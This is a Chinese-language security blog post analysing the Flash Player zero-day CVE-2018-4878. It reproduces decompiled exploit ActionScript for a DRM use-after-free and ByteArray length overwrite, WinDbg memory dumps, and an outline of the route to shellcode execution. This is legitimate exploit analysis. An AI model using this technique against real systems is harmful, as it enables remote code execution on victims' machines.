查看原文
其他

Flash 0day(CVE-2018-4878)分析记录

2018-02-15 michaelpdu 看雪学院


最近报出的flash 0day,自己闲暇之余,看看究竟。拿到sample以后,上FFDEC,看看decompiled code,简单看一下,发现又是TVSDK,看来后面TVSDK还是会有不少洞的。


import com.adobe.tvsdk.mediacore.MediaPlayer;

import com.adobe.tvsdk.mediacore.PSDK;

import com.adobe.tvsdk.mediacore.PSDKEventDispatcher;


先从code层面整理逻辑,class_2可以看做入口函数,通过DRMManager初始化DRM object,来触发漏洞(后面的调试,可以看出这是一个UAF)。


通过计时器来检查DRM object的a1是不是被修改了,如果已经被修改,则去做利用的部分,思路是ByteArray占位,以及修改ByteArray的Length,获取全地址访问的权限。


public function class_2(param1:flash01)

{

   super();

   this.flash01_obj = param1;

   this.method_3();

   try

   {

      var name:* = class_1.method_1(17);

      new LocalConnection().connect(name); // it's necessary for vulnerability

      new LocalConnection().connect(name); // trigger exception

   }

   catch(e:Error)

   {

      drm_obj_2 = new DRMClass();

   }

   this.timer = new Timer(100,1000);

   this.timer.addEventListener(class_1.method_1(33), this.method_2);

   this.timer.start();

}

 

public function method_3() : void

{

   var psdk:PSDK = null;

   var data14:PSDKEventDispatcher = null;

   psdk = PSDK.pSDK;

   data14 = psdk.createDispatcher();

   this.media_player = psdk.createMediaPlayer(data14);

   this.drm_obj_1 = new DRMClass();

   this.media_player.drmManager.initialize(this.drm_obj_1);

   this.drm_obj_1 = null;

}

 

public function method_2(param1:TimerEvent) : void

{

   if(this.drm_obj_2.a1 != 4369) // 0x1111

   {

      this.timer.stop();

      if(!Capabilities.isDebugger)

      {

         this.flash25();

      }

      else

      {

         this.flash24();

      }

   }

}


public class DRMClass implements DRMOperationCompleteListener

{

 

   public var a1:uint = 4369; //0x1111

 

   public var a2:uint = 8738; //0x2222

 

   public var a3:uint = 13107; //0x3333

 

   public var a4:uint = 17476; //0x4444

 

   public var a5:uint = 21845; //0x5555

 

   public var a6:uint = 26214; //0x6666

 

   public var a7:uint = 30583; //0x7777

 

   public var a8:uint = 34952; //0x8888

 

   public var a9:uint = 39321; //0x9999

 

   public var a10:uint = 43690; //0xAAAA

 

   ...


在触发漏洞之前,DRM object的内存布局

0:005> dd 06f20f70 

06f20f70  00001111 00002222 00003333 00004444

06f20f80  00005555 00006666 00007777 00008888

06f20f90  00009999 0000aaaa 00001111 00002222

06f20fa0  00003333 00004444 00005555 00006666

06f20fb0  00007777 00008888 00009999 0000aaaa

06f20fc0  00001111 00002222 00003333 00004444

06f20fd0  00005555 00006666 00007777 00008888

06f20fe0  00009999 0000aaaa 00001111 00002222


漏洞触发的时候,可以发现相应的a1已经被设置为0,继续跟进call stack,可以发现前几个function大致是这样的:delete script_object --> script_object destructor --> memset


eax=00000000 ebx=07061b80 ecx=00000022 edx=00000000 esi=0000004c edi=0706ff74

eip=6eca81ef esp=02ddd210 ebp=00000000 iopl=0         nv up ei pl nz na po nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202

Flash32_28_0_0_137!IAEModule_IAEKernel_UnloadModule+0x3695cf:

6eca81ef f3ab            rep stos dword ptr es:[edi]

0:005> dd 06f20f70 

06f20f70  00000000 00000000 00000000 00000000

06f20f80  00000000 00000000 00000000 00000000

06f20f90  00000000 00000000 00000000 00000000

06f20fa0  00000000 00000000 00000000 00000000

06f20fb0  00000000 00000000 00000000 00000000

06f20fc0  00000000 00000000 00000000 00000000

06f20fd0  00000000 00000000 00000000 00000000

06f20fe0  00000000 00000000 00000000 00000000


public function flash25() : void

{

   // allocate ByteArray object to place freed memory

   this.bae_obj = new ByteArrayExt();

   this.bae_obj.length = 512;

 

   if(this.drm_obj_2.a14 != 0)

   {

      // how to modify length of ByteArray? refer to following codes and comments

      for(var index:int = 0; index < 5; index++)

      {

         // copy meta data of bytearray object to data area

         this.drm_obj_2.a32 = this.drm_obj_2.a14 + 8 * index + 7;

         this.bae_obj.write_object(index * 2 + 1,this.bae_obj.flash25());

      }

      this.bae_obj.a11 = 0;

      this.var_18 = this.drm_obj_2.a14;

      this.drm_obj_2.a14 = this.drm_obj_2.a31 + 19 * 4 + 16 - 1; // modify meta pointer to bytearray data area

      var key:uint = this.drm_obj_2.a22 ^ this.drm_obj_2.a26;

      this.drm_obj_2.a22 = 0;

      this.drm_obj_2.a23 = 0xffffffff;     // modify lenght/capability of bytearray

      this.drm_obj_2.a24 = 0xffffffff;     // modify lenght/capability of bytearray

      this.drm_obj_2.a26 = this.drm_obj_2.a22 ^ key;

      this.drm_obj_2.a27 = this.drm_obj_2.a23 ^ key;

      this.drm_obj_2.a28 = this.drm_obj_2.a24 ^ key;

      this.drm_obj_2.a29 = this.drm_obj_2.a25 ^ key;

      this.bae_obj.endian = Endian.LITTLE_ENDIAN;

      flash5.flash20(this.bae_obj,this.drm_obj_2);

      this.drm_obj_2.a14 = this.var_18;  // recover meta pointer

      return;

   }


占位以后,ByteArray object 的内存布局以及对应的size,可以看到正好是512字节(0x200)


0:005> dd 06f20f70

06f20f70  06f20f78 00000044 6f1c1880 6f1c1888

06f20f80  6f1c187c 6f209984 06dea4c0 08705180

06f20f90  073707f0 00000000 00000000 00000000

06f20fa0  6f1d3db0 [083740b0] 00000000 00000000

06f20fb0  6f1c1874 00000003 00000000 00000011

06f20fc0  00000022 00000033 00000044 00000055

06f20fd0  00000066 00000077 00000088 00000099

06f20fe0  000000aa 000000bb 06f20f61 00000001

0:005> dd 083740b0

083740b0  6f1c1868 00000001 073964a0 [00000200]

083740c0  [00000200] 00000000 2556b474 226fd2d4

083740d0  226fd2d4 226fd0d4 00000000 00000000

083740e0  00000000 00000000 00000000 00000000

083740f0  00000000 00000000 00000000 00000000

08374100  00000000 00000000 00000000 00000000

08374110  00000000 00000000 00000000 00000000

08374120  00000000 00000000 00000000 00000000


修改Lengh以后,对应的内存布局,如下:

0:005> dd 06f20f70

06f20f70  06f20f78 00000044 6f1c1880 6f1c1888

06f20f80  6f1c187c 6f209984 06dea4c0 08705180

06f20f90  073707f0 00000000 00000000 00000008

06f20fa0  6f1d3db0 [06f20fbc] 00000000 00000000

06f20fb0  6f1c1874 00000003 00000001 6f1c1868

06f20fc0  00000001 00000000 [ffffffff] [ffffffff]

06f20fd0  00000000 226fd0d4 dd902f2b dd902f2b

06f20fe0  226fd0d4 00000000 06f20f61 083740d7


相应修改Length的汇编指令以及action script位置,正好可以对应decompiled code中的class_2/flash25

overwrite capability of bytearray

eax=2520b474 ebx=bf740880 ecx=226fd0d4 edx=00000000 esi=0703feb0 edi=070fb020

eip=07d22d2e esp=02ddd058 ebp=02ddd100 iopl=0         nv up ei ng nz na po cy

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200283

07d22d2e 8b461c          mov     eax,dword ptr [esi+1Ch] ds:002b:0703fecc=0706ff60

 

0:005> !py -g flashext.py --lnjit 0x7d22d2e

List near symbol at: 0x7d22d2e

Find near symbol:

class_2/flash25 (0x7d225b8) | class_2/method_2 (0x7d22e6f)


后面就是常用的绕过手法,利用获取的全地址读写来leak flash module基址,然后是kernel32的地址,然后,是VirutualProtect和CreateProcess。shellcode的触发是利用修改Method对象的虚表函数(apply和call),一个用于修改shellcode的保护属性,一个是用于触发shellcode执行。

 

备注:时间仓促,不免会有遗漏和错误之处,如有不足,请多指教。




本文由看雪论坛 michaelpdu 原创

转载请注明来自看雪社区



热门阅读

点击阅读原文/read,

更多干货等着你~

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存